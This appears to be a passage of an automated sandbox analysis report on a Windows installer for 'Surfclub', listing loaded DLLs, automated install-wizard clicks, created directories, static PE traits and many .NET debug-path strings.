Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: icu.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Surfclub\Install.exe	Section loaded: mswsock.dll

Source: C:\Users\user\Desktop\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Automated click: Next >
Source: C:\Users\user\Desktop\setup.exe	Automated click: I accept the terms in the License Agreement
Source: C:\Users\user\Desktop\setup.exe	Automated click: Next >
Source: C:\Users\user\Desktop\setup.exe	Automated click: Next >
Source: C:\Users\user\Desktop\setup.exe	Automated click: Install

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Surfclub\Install.exe	Directory created: C:\Program Files\Surfclub\Surfclub.exe
Source: C:\Program Files\Surfclub\Surfclub.exe	Directory created: C:\Program Files\Surfclub\uuid
Source: C:\Program Files\Surfclub\Surfclub.exe	Directory created: C:\Program Files\Surfclub\domains

Source: setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: setup.exe

Static file information: File size 34351080 > 1048576

Source: setup.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2c7e00

Source: setup.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdb source: MainSoftware.exe, 00000013.00000002.2503002446.0000020F3A5F0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574581744.000001A50AC90000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: MainSoftware.exe, 00000013.00000002.2502593462.0000020F3A561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502506832.0000020F3A521000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Json\Release\net8.0\System.Text.Json.pdb source: MainSoftware.exe, 00000013.00000002.2489583229.0000020F375AC000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489694248.0000020F37641000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: MainSoftware.exe, 00000013.00000002.2489300922.0000020F37511000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489560998.0000020F37591000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37577000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256P?> source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography\Release\net8.0-windows\System.Security.Cryptography.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37216000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488782180.0000020F372E1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37211000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Security.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503289063.0000020F3A631000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503182962.0000020F3A611000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575095760.000001A50ACF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.NonGeneric\Release\net8.0\System.Collections.NonGeneric.pdb source: MainSoftware.exe, 00000013.00000002.2489276519.0000020F37501000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489234377.0000020F374F1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ObjectModel.ni.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34474000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256t source: MainSoftware.exe, 00000013.00000002.2502776162.0000020F3A5B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502635521.0000020F3A5A2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574402265.000001A50AC51000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F3775D000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490316786.0000020F37781000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DFD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.Json.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489453415.0000020F37561000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489389183.0000020F3754A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2554946567.000001A507DB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Installers Project\Generic\ConsoleApp1\obj\Release\net8.0\win-x64\ConsoleApp1.pdb source: MainSoftware.exe, 00000013.00000002.2485317241.000001CE9F771000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485250859.000001CE9F767000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: MainSoftware.exe, 00000013.00000002.2502957878.0000020F3A5E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502832383.0000020F3A5CD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdb source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Text.Json.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489583229.0000020F375AC000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489694248.0000020F37641000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Linq.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487020549.0000020F351A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487094284.0000020F351D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2540077777.0000016470123000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: MainSoftware.exe, 00000013.00000002.2487832561.0000020F354C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487899580.0000020F354D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2546435914.000001A505E01000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F3773C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490087775.0000020F37741000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog/obj/Release/net8.0/Serilog.pdb source: MainSoftware.exe, 00000013.00000002.2487213233.0000020F35241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487133129.0000020F3520D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdbUGP source: setup.exe, 00000000.00000003.1755437103.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1932053520.000000000784C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2487586989.0000020F353C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487462974.0000020F35318000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.ni.pdb source: MainSoftware.exe, 00000013.00000002.2485624708.000001CE9F8F1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485552514.000001CE9F8C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2539907807.00000164700D9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489017313.0000020F373F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F3547B000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487805041.0000020F354A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: MainSoftware.exe, 00000013.00000002.2484894819.000001CE9DE41000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488855338.0000020F373AB000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2503002446.0000020F3A5F0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574581744.000001A50AC90000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2488665246.0000020F37211000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2489300922.0000020F37511000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ObjectModel\Release\net8.0\System.ObjectModel.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34474000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Ping.ni.pdb source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: MainSoftware.exe, 00000013.00000002.2486648118.0000020F34911000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2486229465.0000020F3447E000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbn source: setup.exe, 00000000.00000003.1748683968.00000000098C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdbSHA256S source: MainSoftware.exe, 00000013.00000002.2487646877.0000020F35470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: MainSoftware.exe, 00000013.00000002.2503638847.0000020F3AA9C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503760658.0000020F3AAB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: MainSoftware.exe, 00000013.00000002.2487355740.0000020F352C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487291255.0000020F35298000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2544800776.000001A505BF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: setup.exe, setup.exe, 00000000.00000002.2599874547.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000000.00000000.1723309056.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000006.00000000.1918855611.00000000005D9000.00000002.00000001.01000000.00000003.sdmp, setup.exe, 00000006.00000002.2566522747.00000000005D9000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: System.Net.NameResolution.ni.pdb source: MainSoftware.exe, 00000013.00000002.2502957878.0000020F3A5E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502832383.0000020F3A5CD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: MainSoftware.exe, 00000013.00000002.2503502815.0000020F3A671000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503365504.0000020F3A657000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdb source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F3773C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490087775.0000020F37741000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Threading.ni.pdb source: MainSoftware.exe, 00000013.00000002.2484894819.000001CE9DE41000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488855338.0000020F373AB000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Net/Release/net8.0-windows/System.Net.pdb source: MainSoftware.exe, 00000013.00000002.2489977509.0000020F37737000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Sinks.Http/obj/Release/netstandard2.1/Serilog.Sinks.Http.pdb source: MainSoftware.exe, 00000013.00000002.2485737833.000001CE9F921000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487246699.0000020F35279000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Bundle Project\MSIInstaller\obj\Release\net8.0\win-x64\linked\MSIInstaller.pdb source: setup.exe, 00000000.00000003.1996568847.000000000C6CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: MainSoftware.exe, 00000013.00000002.2489367223.0000020F37531000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489300922.0000020F37515000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdb source: MainSoftware.exe, 00000013.00000002.2486229465.0000020F34470000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F37755000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DF5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C2000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.NetworkInformation.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503789563.0000020F3AACA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503877554.0000020F3AAE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575358447.000001A50AD5A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: #.Pdb source: setup.exe, 00000000.00000003.1996568847.000000000D2D5000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000013.00000002.2490526230.0000020F377C1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdb source: setup.exe, 00000000.00000003.1755437103.0000000009AC9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000006.00000003.1932053520.000000000784C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Text.Encodings.Web.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376DA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489851537.0000020F376F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: MainSoftware.exe, 00000013.00000002.2490110262.0000020F3775D000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2490316786.0000020F37781000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2555282561.000001A507DFD000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489043076.0000020F37463000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489114931.0000020F37491000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489210974.0000020F374E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489144792.0000020F374C9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NetworkInformation\Release\net8.0-windows\System.Net.NetworkInformation.pdb source: MainSoftware.exe, 00000013.00000002.2503789563.0000020F3AACA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503877554.0000020F3AAE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2575358447.000001A50AD5A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: MainSoftware.exe, 00000013.00000002.2488949645.0000020F373C7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489017313.0000020F373F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: MainSoftware.exe, 00000013.00000002.2485624708.000001CE9F8F1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2485552514.000001CE9F8C9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2539907807.00000164700D9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encoding/Release/net8.0-windows/System.Text.Encoding.pdb source: MainSoftware.exe, 00000013.00000002.2489754059.0000020F376D6000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\FileOperations.pdb source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: setup.exe, 00000000.00000003.1996568847.000000000C549000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, MainSoftware.exe, 00000013.00000000.2458837623.00007FF736428000.00000002.00000001.01000000.0000000A.sdmp, SoftwareDistributor.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: MainSoftware.exe, 00000013.00000002.2488625597.0000020F371C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488546167.0000020F37179000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: MainSoftware.exe, 00000013.00000002.2489560998.0000020F37591000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37577000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37113000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2488514061.0000020F37141000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: MainSoftware.exe, 00000013.00000002.2489276519.0000020F37501000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489234377.0000020F374F1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A7000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Tasks/Release/net8.0-windows/System.Threading.Tasks.pdb source: MainSoftware.exe, 00000018.00000002.2584299572.000001A50B57A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: MainSoftware.exe, 00000013.00000002.2489043076.0000020F37463000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489114931.0000020F37491000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdbE source: setup.exe, 00000000.00000003.1748683968.0000000009A2F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: MainSoftware.exe, 00000013.00000002.2488437888.0000020F37110000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: MainSoftware.exe, 00000013.00000002.2502776162.0000020F3A5B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2502635521.0000020F3A5A2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000018.00000002.2574402265.000001A50AC51000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Memory.ni.pdb source: MainSoftware.exe, 00000013.00000002.2503638847.0000020F3AA9C000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503760658.0000020F3AAB1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: MainSoftware.exe, 00000013.00000002.2490472097.0000020F377B1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2489475473.0000020F37573000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Configuration.Abstractions/Release/net7.0/Microsoft.Extensions.Configuration.Abstractions.pdb source: MainSoftware.exe, 00000013.00000002.2487378762.0000020F352E0000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2487438441.0000020F35301000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: MainSoftware.exe, 00000013.00000002.2488855338.0000020F373A3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000013.00000002.2503137120.0000020F3A601000.00000020.00000001.00040000.0000000A.sdmp
